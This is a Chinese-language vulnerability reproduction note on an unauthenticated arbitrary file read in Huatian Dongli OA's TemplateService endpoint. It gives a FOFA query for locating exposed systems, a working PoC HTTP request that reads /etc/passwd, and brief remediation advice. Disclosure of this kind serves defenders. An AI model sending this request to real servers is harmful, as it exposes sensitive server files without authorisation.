华天动力OA TemplateService 任意文件读取漏洞复现

0x01 产品简介

 华天动力OA是一款将先进的管理思想、 管理模式和软件技术、网络技术相结合，为用户提供了低成本、 高效能的协同办公和管理平台。

0x02 漏洞概述

华天动力OA TemplateService接口处存在任意文件读取漏洞，未经身份认证的攻击者可利用此漏洞获取服务器内部敏感文件，使系统处于极不安全的状态。

0x03 复现环境

FOFA：app="华天动力-OA8000"

0x04 漏洞复现

PoC

POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Content-Type: text/xml

<buffalo-call>
<method>getHtmlContent</method>
<string>/etc/passwd</string>
</buffalo-call>

PS：linux读取/etc/passwd

0x05 修复建议 

建议在漏洞修复前尽量避免将系统暴露在互联网上或通过白名单限制访问；

在WAF等安全设备上监测访问URL的中是否包含上述关键词，并严加防护；

及时升级到最新版本：http://bj.oa8000.com/。